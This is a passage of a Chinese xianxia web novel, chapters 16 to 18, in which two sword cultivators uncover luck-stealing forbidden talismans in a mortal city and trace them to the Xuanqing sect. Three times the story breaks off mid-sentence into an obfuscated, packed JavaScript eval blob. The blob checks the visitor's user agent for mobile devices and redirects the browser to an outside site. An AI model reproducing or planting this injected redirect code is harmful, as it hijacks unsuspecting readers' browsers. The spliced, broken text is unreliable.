裘弈用剑鞘击开一个想要向自己砍来的凡人,神识却追着萧湘而去,待他打趴纠缠自己的人,视线随着神识看去,见二楼的黑衣人已经死了个精光,萧湘一手持剑沥血,一手将救下的孩童推至那孩子母亲所在的房内。 他看见萧湘在合上房门前往那啼哭不止的孩子手里放了把红纸糖,小孩子没心没肺又好哄,看见手里有糖,立马就止住了哭声,只是脖颈上的血痕还痛,抑制着声音抽噎。 房门合上时的最后一幕是孩子手里的红纸糖,那一瞬间,裘弈仿佛知道萧湘为何会随身带糖了。 太清宗的新徒子里,也有很多很多会因为各种事而哭泣的稚童。 16.纳运符文 见萧湘下了死手,裘弈也没留力,一息间便将一楼的黑衣人全部斩杀。 血水飞溅在桌椅与地面,洒的到处都是,却半点没沾染在裘弈的雪白衣袍上,就连剑锋上的血也很快沥尽,摧雪干干净净地回到剑鞘。 两人出手太快,待众人反应过来时,客栈内一片沉寂,谁也不敢先开口打破安静的气氛,唯恐自己也成为这一黑一白的剑下亡魂。 萧湘用神识又扫了一遍客栈,确定自己除恶务尽,没有遗漏之后,回到一楼,站在裘弈身边。 裘弈问道:“走?” 萧湘摇摇头,“凡人的官差可能会来拿人,不能让这些凡人替我们受牢狱之灾。” 裘弈没有异议,他们受牢狱之灾还能设法跑掉,凡人若是进了大牢,就此丧命都有可能,救人救到底,等一会儿也无妨,便应道:“嗯。” 于是两人站在一楼的空地上,等凡人官府派人来抓他们。 客栈内的江湖人见那两名剑客收手静立于一旁,不再动手,纷纷小心地开始处理地上的尸体。 一个似乎是头领的江湖人犹豫再三,走到萧湘和裘弈跟前,向两名剑仙抱拳道:“多谢两位出手相助,这影教之人作恶多端,近来对江湖正道之人多有残害,又实力高强,今日若不是有两位仗义相助,我等怕是……” “侠士言重了。”萧湘微微向前倾身以作回礼,搭在臂弯的拂尘擦过裘弈抱剑的手臂,裘弈顺势又不动声色地摸了一把麈尾。 “怎会言重……啊,还未问过两位侠士的名号……” 头领话音未落,萧湘和裘弈突然向左右侧身一让,一个想要从他们之间探头的男人没能将手肘搭在他们身上,失了重心,向前踉跄一步,险些摔倒在地,不过很快稳住了动作,顺着站直的姿势从腰带里抽出折扇,甩开扇风,缓解尴尬。 曹盈打着扇子环视四下,惊叹道:“杀的挺多啊……” 随即又提高了音量,让客栈内的众人都能听清:“在一叶城的大道客栈里这么闹事,都不怕掉脑袋吗?” 他本意是想要耍耍威风,出个法子解决在场人的困境,让那个可能是肇事者之一的美人侠客对他产生好感,却不想对方直接上钩了。 先咬钩的人是那美人的同伴,对方刚刚躲开了他的手肘,这会儿上前一步对他说道:“人是湘杀的,与在场其他人并无干系。” 左侧那美人也出声道:“吾也杀了。” 只是简短的一句附和,曹盈就看出来了,这白头发的美人话少,平素难开金口,得同伴先起个话头,才会跟在后面说上一句。 且那句附和的话,很明显是要帮同伴分担罪责。 曹盈摇摇扇子,心中已经有了分辨,先前客栈里的喊杀声太大,他都从茶楼过来了,官府的人如今自然也是赶过来了,一帮人都刚到门口,还没往客栈的血地上踏。 他转向萧湘,朗声道:“这些黑衣人意欲行刺本公子,多亏有在场的两位侠士相助,这才免于杀身之祸。作为答谢,本公子请两位恩人去全福楼午食,再以财宝相谢,不知两位恩人意下如何?” 这话既是说给客栈内众人听的,也是说给到了客栈门口的官差听的。他曹家的威名朝上朝下无人不知,就算是一叶城的官府,也得给他七分面子,在那些当官的眼里,“曹家公子在一叶城遭歹人刺杀”可比“客栈死了一地黑衣人”要严重多了。 更何况地上这些黑衣蒙面人来历不详,又先在客栈内闹事,这些江湖人不杀黑衣人,官差逮到了黑衣人多半也会杀。 曹盈心里想的可美了,说完还冲萧湘眨眨眼,示意萧湘顺着台阶往下走。 可萧湘是个实心眼的,闻言眉头微蹙,张口要反驳:“可这些黑衣人并不……” “不”字后的几个音节模糊着从指缝间钻出,听不清晰。萧湘转眼,看向不知何时站到自己身侧来的裘弈。 裘弈捂着萧湘的嘴,向曹盈道:“走?” 曹盈喜笑颜开地转身,“走!” 门口的一众官差先前被曹盈的一番话给定在原地,如今这三人要走,他们也只能让路,放人离开。 一个新来的年轻官差问同僚:“那、那这么多尸体,怎么解释啊?” 同僚往他脑袋后头来了一巴掌,恨铁不成钢道:“还能怎么解释?刚刚曹公子不是都说了吗,这是些行刺失败的刺客!” “哦哦……” 另一边,已经离开的裘弈萧湘二人正在传音入密。 萧湘:“为何要捂湘的嘴?” 裘弈:“此人有意帮众人开脱,道长少言为好。” 萧湘:“好。道君与此人相识?” 裘弈:“不认识。” 萧湘觉得这个回答有些似曾相识。 传音间,两人已经跟着曹盈来到了所谓的“全福楼”。 一叶城内大道左右的店铺装潢华丽,这全福楼也不例外,门口在平常日子里也挂着大红灯笼,修士的眼睛能够看见凡人难以注意到的细节,萧湘和裘弈行至门口,见这全福楼的房柱上阴刻着符文,这些符文上有障眼法,凡人看了,只觉得这房柱上的花纹繁复漂亮。 裘弈认不出这些符文是做什么用的,但萧湘认出了。 他在门口停住了脚步,不肯再前进一寸。 裘弈注意到萧湘的动作,也停在了原地,传音问萧湘:“怎的?” “纳运符文。可吸纳进入此屋之人的气运,转为己用。”萧湘向裘弈传音完,又出声对走在前面的曹盈说,“恩公停步。” 曹盈回首:“嗯?怎么了?” “莫要进屋。”摧雪剑出鞘,裘弈握着剑,就要去将全福楼里刻着符文的柱子全都削去一层皮。 见裘弈拔剑,曹盈一惊,还以为这是遇到了先前那批黑衣人的同党,连忙往酒楼里瞥了一眼,没瞧见什么形迹可疑衣着奇怪的人,又赶忙拦在裘弈面前,“诶诶诶!美人冷静!怎的突然拔剑?” 裘弈这八百年里没少听别人对他以“美人”相称,早已习惯,面不改色地解释了一嘴:“这楼里有古怪。” 曹盈不解,“古怪?” …… 曹家那个年轻后生在一叶城里无状惯了,某日突然干出派人把全福楼房柱削下一层皮来的事也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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裘弈不动声色地问:“道长如何认出那符文为‘纳运’?” “曾经去玄清宗见识过。”萧湘答道,“玄清宗的藏书阁中有记载,湘曾有幸进去领会过。不过这‘纳运’为禁术,连玄清宗宗主都不去修习,不应当会流传到凡间来。” 两人对视一眼,一瞬后又不约而同地转移开视线,用传音交流。 “禁术泄露。”萧湘沉沉地说。 “得去一趟玄清宗了。”裘弈道,“正好,吾想同玄清宗的红妆长老切磋一番。” 在东洲,一个人正常的“人生”是由许许多多的“运”来组成的,“运”被人们俗称为“运气”,即“能够带来幸福的气息”。一个人能够免于灾祸病痛,都是因为自出生开始便携带着足够的“运”。 而失运之人,轻则倒霉,重则丧命。因气运被夺而命数跌宕者不在少数,因气运出问题而丧命者更是数不胜数。 此时坐于他们对面的曹盈大概是祖上积德,福缘深厚,能够投生到大富大贵之家,本身前世的福报也积累的多,气运一时半会儿不会被夺完,这才进出全福楼这么久都没有明显的损害。 曹盈正在抓心挠肝地想办法让对面那两人——主要是那位白头发的裘美人主动开口说话,却不想自己还没琢磨出个法子来,对方就先一步开口了。 传音商量好了行事的先后顺序,裘弈直接开口,向曹盈询问道:“曹公子可知……这全福楼的背后主家,是谁?” 17.玄清禁术 “这你们可就问对人了!本公子隔三差五便要来全福楼宴请好友,自然早同这全福楼的主事人打好了关系。” 曹盈倒退着在前领路,口中喋喋不休道:“都安排好了,我们去楼上的天字客间见他。” 萧湘和裘弈异口同声感谢道:“多谢。” “那作为答谢,你们笑一笑,如何?”曹盈见缝插针地建议道。 这曹盈没什么大志向,平日里就喜欢美食美酒美人,今日这两人若是不在他面前真心实意地笑一笑,他得惦记上个把月。 裘弈脸上依旧没什么表情。独自修仙久了,与世隔绝,表情不再是需要经常使用的动作,许多能够引起表情的情绪也日益淡去,他都忘了该如何调动面部的骨肉去做出自己想要的神情。 只会练剑,可不是说说而已。修士也不是万能的,获得超凡能力的代价,就是丢弃一些凡人都能做到的小事。 他做不出“笑”的表情来,便下意识看向身侧的萧湘,这位道长目前算是他的师长,会的事比他要多得多。 但萧湘只是微微勾了勾唇角,不止曹盈,裘弈也觉察出来了,那不是笑,只是模仿着他人嬉笑的表情勾起唇角,眼角未弯,眼中也并无笑意。 萧湘也不会笑。意识到这一点,裘弈不知为何松了口气,却又感觉有些许说不出缘由的遗憾。 两人的神识在前探路,还未进入天字客间,便已经将客间内的人员几何甚至房间的装潢样式给看遍了。 客间内有三人,三人皆为凡人。按照萧湘和裘弈现在的修为,除非对方比他们高一个大境界,否则一切隐蔽身形的法术在他们的神识洞察下都是无效的。 也就是说,客间内没藏有其他修士。 入客间落座,不等侍者倒茶,萧湘先开口询问这全福楼的主事人:“雕刻贵店房柱的工匠,店家可还记得是谁?” 若是旁人在此询问,这主事人完全可以说自己早就不记得了,好搪塞过去,可过来问事的这个人,是曹家曹盈带来的,那他就不得不回答了。 自己和曹盈本身有些交情是其一。其二,与那些可以敷衍的庶民和外地人不同,曹盈代表官家,而一叶城内说得上名号的酒楼茶馆能够生意红火,多仰赖官府照顾。全福楼建楼之初,从选材到用匠,一切记录皆在官府里存着,曹盈不直接去官府查记录册,那就是不想把事情闹大,他不能没那个眼色。 若是他此刻不回答,让曹盈去官府里查了名册,他全福楼反而有损,到时不知道要传些什么风言风语,他们这些接待高管贵客的食楼,最重名誉,官家评价更是重要,哪家食楼没事会被人重查建造事宜? 生意人,心念百转不过一瞬间的事。店家扯出个亲善的笑容来,答道:“房柱不是工匠雕的,是个懂行的法师来雕的。这全福楼初建时,我想讨个好彩头,便托朋友请了法师来雕刻迎福咒,好让小店的生意红火。” “迎福咒……” 萧湘低喃声未落,裘弈的声音便在他的识海中响起:“托词。” “凡人未必知道那符文的效用。”萧湘向裘弈传音完,下意识又想向店家传音,灵力蔓延到对方身前时又反应过来,不动声色地将传音一收。 “店家可知那法师姓甚名谁,是何种样貌?”萧湘开口又问。 “法师姓顾,至于名,我们也不知道,说是家里人没的早,没来得及给他取名。模样嘛……” 那店家想了想,有些奇怪地挠了挠鬓角,“模样……我也记不清了,只是记得那法师模样年轻。” 裘弈又传音对萧湘道:“障眼法。” 修仙界的障眼法有许多种类,有一种障眼法的作用就是遮蔽施术者的具体样貌,别人看施术者,觉得确实是看到了一张脸,视线一旦从施术者的脸上移开,便记不得方才还看着的人长的是什么模样了。 裘弈以前在修仙界追杀作恶多端的魔修,经常被魔修用这种法术耍的团团转,后来裘弈修为越来越高,这种术法在他眼中起不到什么作用了。 他辨识魔修魔物,也不再单靠眼睛。 萧湘又问了些有关那位“顾法师”的事,店家对答自如,但关键细节都说不记得或者不知道。 修士,特别是高阶修士的感知能力都极为敏锐,凡人在说谎或意图敷衍时都会有细微的不自在。在对谈过程中,萧湘和裘弈都将视线集中在店家身上,看不出店家有什么隐瞒要事的迹象。 问不到更多的消息了。两人起身,同店家道别。 出了客间,萧湘想到一个查明“顾法师”身份的法子,忙问曹盈:“房柱上削下的花纹木片,都……” 曹盈连忙邀功似的说道:“都烧毁了!你们放一百个心吧,一点灰都没给留下,全都处理干净了!!” 萧湘才要放下的心——碎了。 这禁术也不是人人都能学会,那学成之人应当进过玄清宗的藏书阁,将那刻着符文的木片带去玄清宗给藏书阁的看守人,对方应当能识别出是谁的刀迹来。 萧湘微微偏头,用指尖点了点自己的太阳穴,低喃道:“不聪明。” 世人皆道修士聪慧,因为有大智慧才得以入道登仙,萧湘却不认同。 若是聪慧,他何以连凡人官差常做的留证都不能及时做到? 修士只是比凡人多些在修仙一道上的天资,气运又正好有仙缘,这才得以入道。 气运……可是个好东西啊。 曹盈大张旗鼓地将全福楼的房柱都给削了一层皮去,此事不过半日便在一叶城内传开了,萧湘为防那“顾法师”得知此事后找曹盈麻烦,便写了一道护身符留给曹盈。 裘弈也留了一道存有自己灵力的木牌,让曹盈在危急时刻摔碎木牌,他来助曹盈渡过劫难。 三人今日互帮互助了一番,也算是结了个善缘。 曹盈身边跟的那小厮哪见过自家公子如此待人?一日下来已然目瞪口呆,待那两位神仙般的人物离开,见自家公子心情又好,实在好奇,便大着胆子询问缘由。 “你懂什么!”曹盈拿折扇一敲那小厮的脑袋,“此二人在街边买糖,出手便是用白玉抵钱,脸上也不见心疼,衣饰用料都讲究,不可能是寻常人家出来的子弟。先前在客栈杀了人也不逃命,面无惧色地站在原地等官差来抓,不是本身有什么可以逃脱刑狱的奇能异术,便是有够硬的后台,才敢做那见义勇为的侠客。更何况……” 他有些奇怪地嘀咕道:“秦姐姐说全福楼的房柱有问题,这两人也说有问题。那秦姐姐是仙子,这两人莫非也是仙人?” 垂眼看看手里的护身符和木牌,曹盈也没多纠结,又开始耍起少爷性子,指使着小厮去绣坊找绣娘给他做个漂亮锦囊,他要用来装护身符。 …… 萧湘裘弈两人在凡间办完了事,又回到修仙界,直奔玄清宗而去。 玄清宗宗主顾犹在恰好回宗,老友相见,没有过多的寒暄,萧湘本也不是个爱寒暄的人,直接切入正题,将自己与裘弈在凡间遇到的事同顾犹在细细说了。 “刻下纳运符文的‘法师’, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13857095|142690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姓顾,是个男人。”即使是在说一件他宗密法泄露的事,萧湘的语调也未有什么变化,平平淡淡地像是在说裘弈的头发真白一样,“纳运符文是玄清的禁术,那人还同玄清宗宗主同姓。” 与两个冰霜成精的剑修不同,玄清宗宗主顾犹在虽是灵根极为霸烈的雷系修士,又主修剑道,但为人和善,脸上总是带着三分笑意,待人接物的礼貌程度堪称剑修中的典范。 闻言,顾犹在玩笑道:“香香疑心是我做的?” “你不会。”萧湘摇头,“湘是想问,顾家是否还有其他旁支子弟,习过禁术?” “没有。”顾犹在断然道,“顾家没有旁支,我膝下有两儿一女,都不曾去读过藏书阁的禁术。只有人还……” 他话音一顿,立即招来飞鹤,让全宗的鹤找找跟他一起回宗的顾人还如今在何处。 三人去藏书阁时,顾人还正趴在禁术书堆里用手比比划划,口中念叨着书上记载的诀窍,见到三名大修士来了,也不起身,反而顺势滚到顾犹在身前,躺着冲立于顾犹在右侧的两名剑仙打招呼。 萧湘常来,早已习惯这样的顾人还。裘弈依旧面无表情,周身灵力也未变,看不出喜怒。 “幼弟平素无状惯了,还请见谅。”顾犹在向裘弈歉意地说完,用鞋尖轻轻碰了碰地上顾人还的肩头,“起来罢,有要事问你。” 顾人还从他兄长口中听完这件事,不可置信地看向萧湘,“香香道长,您怀疑是我去凡间做的这档子事?” 萧湘没理会顾人还谴责的眼神,淡然问道:“可有将玄清密术授于他人?” “未曾!” 萧湘点点头,“湘信你。” 顾人还倏地看向旁边的裘弈。 裘弈冷冷道:“吾不信。” 顾人还问:“为什么?” “吾与你,并不相熟,不知你品性,也不敢轻信。”裘弈直言道,“可有胡闹乱刻过?或是不知那符文害人,只是拿去助凡人事业?” “没有没有没有!这样说了您肯定也不信!”才坐起来没多久的顾人还又滚回地上了,耍无赖似的嚷道,“我们这些会刻符文的修士都有自己的手癖,两位前辈拿那符文来与我雕刻符文的行刀痕迹比较,能看出根本不一样的!” 顾犹在也道:“确实,人还的刀迹我也识得,可有那符文的实物来比较一番?” 那两名冰灵根剑修忽然一言不发,沉默不语。 顾犹在试探道:“该不会……?” 两人异口同声道:“烧了。” 顾人还问:“两位前辈还记得那符文的细节么?” 两人一致摇了摇头,萧湘道:“看不懂,湘只知道那是纳运符文。” 顾人还:“白瞎。” 裘弈望天,萧湘看地。 顾犹在一拍顾人还的脑门,无奈道:“怎么跟长辈说话呢!” “我们同辈呀,三位哥哥怎么能算是长辈!”顾人还占够了便宜,胡闹也闹过了,又撑着书堆坐起来,脸上的笑意淡了七分。 “姓顾,自称法师,会玄清宗禁术。”顾人还转眼看向顾犹在,沉声道,“玄清宗就算全让天雷劈塌了,这藏书阁也不会有事,平素就哥哥和我进出藏书阁,禁术典籍上都设有禁制,若有人窃取,你我都能立即知晓。书不出阁,怎会泄露?” 顾犹在对上弟弟的视线,如同想到什么一般,微微一怔。 下一刻,裘弈直接道出了顾人还话中的暗示:“禁术并未泄露,那人本身,就会这禁术。” 18.并非无意 “不可能……是老爹吧?”顾人还迟疑地看向自家亲哥。 顾犹在摇头,“父亲没道理做这种事。若是让母亲知道了,他会挨打。” 顾人还又猜测道:“难不成是顾灼华?姓顾,又是法修,还是老爹的亲传弟子。这些禁术还没被列为禁术时,老爹应该教过他吧?” 听到这个名字,顾犹在和萧湘皆变了脸色。 对修仙界历史一无所知的裘弈:……?顾灼华是谁? 在修仙界,能说得上名号的大宗门,都或多或少地出过些“孽障”徒子,这些孽障或是叛离宗门,或是与魔族勾结,或是修炼邪功,或是戕害同门,又或是欺师灭祖。这顾灼华样样都沾,千年前杀师灭宗,曾一度让玄清宗断了传承。 按理说,这种欺师灭祖的存在应当人人得而诛之,但千年前的世道乱,正与邪也还没有那么分明,打着正道旗号的盗贼遍地都是。称得上是“正道”的宗门没有拧成一股绳,凡事只想着损人利己,不顾大局。 旧玄清宗全宗上下那么多修士、那么多大能长老,会被一个称得上“年轻”的后生给全灭,当时的修仙界内竟无人心生恐怖,更无人想过集力诛灭那个屠戮宗门的极恶之徒。所有修士都将玄清宗灭门归结为“育徒不严”,却少有人去想顾灼华连养育他的宗门祖师都能杀害,这修仙界的其余宗门他更不会放在眼里。 不过将旧玄清宗灭门后,这顾灼华就如同失踪了一般,再没出现作乱过,有人猜测是畏罪自戕了,有人猜测是被幸存下来的玄清宗徒子追杀自顾不暇,也有人猜测是逃去了魔域,众说纷纭,没有个准确的目击者,如今千年过去,究竟如何,也渐渐无人在意了。 修仙界的东西不能落到凡间去,这是规矩,若不是萧湘与裘弈在凡间发现了玄清宗禁术,顾灼华也不会被重新提起。 “顾灼华本就是天骄,千年前尚能以一人敌一宗,若是如今还在世上,不知要强成什么模样。”顾人还正经不过半刻,又躺回了地上,泄气道,“打不过,我们找娘亲来帮忙吧——” 话音未落,脑门上又挨了他哥一巴掌。 这件事的源头距今太久,新的玄清宗对顾灼华知之甚少,当年顾灼华屠宗门,顾犹在都还没出生,自然无从追查起。 萧湘和裘弈都没作声,等玄清宗宗主决定这件事要怎么解决——是追查到底,还是置之不理? 顾人还试探道:“问问老爹呢?” 顾犹在缓缓摇头,“父亲在很久前就联系不上了。” 顾人还:“那怎么办?” 藏书阁内沉寂下来。 萧湘想到之前邓君回同他说的卜算天机一事,此时向顾犹在问道:“良辰算出修仙界大劫,这符文出现会不会与此有关?” “若修仙界大劫与顾灼华有关,那可麻烦了,养出这么个祸患,玄清宗要当一回修仙界的罪人。”顾犹在叹息一声,犹豫一瞬,看向萧湘和裘弈,“多谢两位将此事告知玄清宗,后续玄清宗自会查清,劳烦道长与道君来一趟了。” 话中有送客的意味,裘弈没听出来,以为只是单纯的客气,但萧湘听出来了。 他宗之事,不便多问。联系起方才顾犹在的一瞬间犹豫和段衍没告诉自己众宗门聚首议事,萧湘猜想,段衍可能拜托了与他熟识的这些人,不要告诉他与大劫相关的事。 这位师兄总是如此,在未弄清事情的缘由前,不会轻易将担忧说给他听。 萧湘持拂尘起身,携裘弈向顾氏兄弟道别,打算去拜访玄清宗内的红妆长老。 两人转身要走,萧湘忽然想起还要维持一下他们在外界人眼中的关系,于是又回头,从扳指里取出分装好的喜糖,递给顾氏兄弟俩。 顾犹在惊讶地接过喜糖,笑道:“原来传言非虚。恩容敬祝两位琴瑟和鸣,笙磬同音。” 顾人还却一反常态地没说什么祝福眷侣的吉祥话,只是默默吃糖。 修仙界的修炼法门千奇百怪,除却常见的剑修、法修、体修外,还有些冷门的修炼专业,比如线修、茶修、梦修。红妆的修炼法门更是独一支的“针修”,听说是从医修针灸一脉里分出来的,以凡人女红为修炼方式。 几百年前初遇红妆,萧湘头一回见刺绣缝衣也能涨修为的修炼方式。 “来寻我切磋?”身着红衣的盛妆女子停下穿针引线的手,看向不远处的两名剑修,笑问道,“谁要与我切磋呀?是分个胜负,还是点到即止?” “分个胜负。”裘弈抬手,握住摧雪的剑柄。 “稍等,化神期修士威能巨大,我请阵修来设阵护山。”红妆转头对身旁的仙鹤说道,“去千机卧云请孤鸿来。” 仙鹤振翅远去,等邓君回来设阵还要一会儿,红妆继续做手头活计,而裘弈和萧湘凑近了看红妆正绣着的鸳鸯帕。 “听闻两位剑仙喜结连理,这鸳鸯帕我绣了两条,正好送给两位做贺礼了。”红妆剪断红线,将帕子往阳光下照看,光影交错间,那两只鸳鸯仿佛活了过来,在帕中戏水。 “栩栩如生。”萧湘称赞道。 “怎么连夸人,语气也是冷冰冰的?”红妆失笑,她从乾坤袋中将另一条鸳鸯帕取出,这两条帕子正巧一黑一白。 红妆略一思索,将黑帕子给了裘弈,白帕子给了萧湘。 裘弈见萧湘没有推辞,接过了绣帕,便也伸手去接,那黑绸的帕子刚一入手,他另一只手上的摧雪就开始抗议,让裘弈去跟萧湘换。 往常裘弈肯定是听摧雪的,但这次他犟劲儿上来了,就要这个黑的,于是面不改色地握紧震颤抗议的摧雪,将鸳鸯帕收进了萧湘给他的乾坤袋中,向红妆道谢。 礼尚往来,萧湘正要将喜糖取出,谢赠红妆,红妆却先一步开口,打断了他的动作:“香香,我知你带他来有何别意。既然是要教他如何做个长辈,同他人搭建起联系,我说一点,可好?” 萧湘看向裘弈。 裘弈对红妆道:“但说无妨。” 于是红妆又看向裘弈。 这两人两次来玄清宗她都看着,每次裘弈都默默地跟在萧湘后面,她原先以为这两人之间主事儿的是萧湘。 现今看来,这两人之间没有主次之分,只是裘弈初下山门与人交际,于此道生疏,便由萧湘从中调和。 “既然是暗地里打着联络的名义来找人切磋,玄清宗先不论了,大家都是一家人,对输赢并不看重,若是去了别宗,可不能再非要争个高低胜负。” 红妆说着,屈指弹开一个想去萧湘袖子里偷糖的仙鹤脑袋,“高阶修士,气性高者居多,若是在徒子面前输给了外宗的同级剑修,怕是会心中生怨,反倒不与你交好。” 裘弈淡淡道:“输给吾,正常,为何会心生怨?” “狂。”红妆笑盈盈地伸手,隔空点了点裘弈,“天骄狂些也无妨,可若是要同平凡人打成一片,便不能如此了。既是同道,今日留几分脸面,他日也好相见。” 听闻此言,裘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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远处的红妆没好气地笑道:“给你俩牵上红线,可不是让你们合着伙来对付我的!” 萧湘道:“抱歉。” 随后将手放在膝上,不动了。 红线的长度是固定的,裘弈没将线斩断,反而牵着线,就在萧湘附近和红妆过招。 听闻大修士过招而跑过来旁观的顾人还见状,拍着大腿直笑,指着天上被一条红线牵住的裘弈,对邓君回说道:“放纸鸢!” 邓君回将萧湘给的喜糖都放到顾人还的手中,缓声问道:“人还要放么?” 顾人还见长老的糖都给自己,喜得抱着邓君回的胳膊猛蹭两下,撒娇道:“长老给人还放嘛?” 邓君回无情道:“自己去找道侣来放。” “我……”顾人还正要炫耀自己的心上人,却忽然想到那放纸鸢的两人不是真情人,高涨的兴致便低落了下来。 “长老长老,我悄悄同你说,你不要告诉旁人……”念在孤鸿长老一向守口如瓶,顾人还凑近了,将协议道侣一事悄声说与邓君回。 “原来如此。”邓君回听后脸色未变,转眼看向远处一直盯着裘弈的萧湘,又瞧瞧让红线牵在萧湘身边的裘弈。 再开口时,声音里竟然含着些缥缈的笑意:“我见他们,并非对彼此无意。”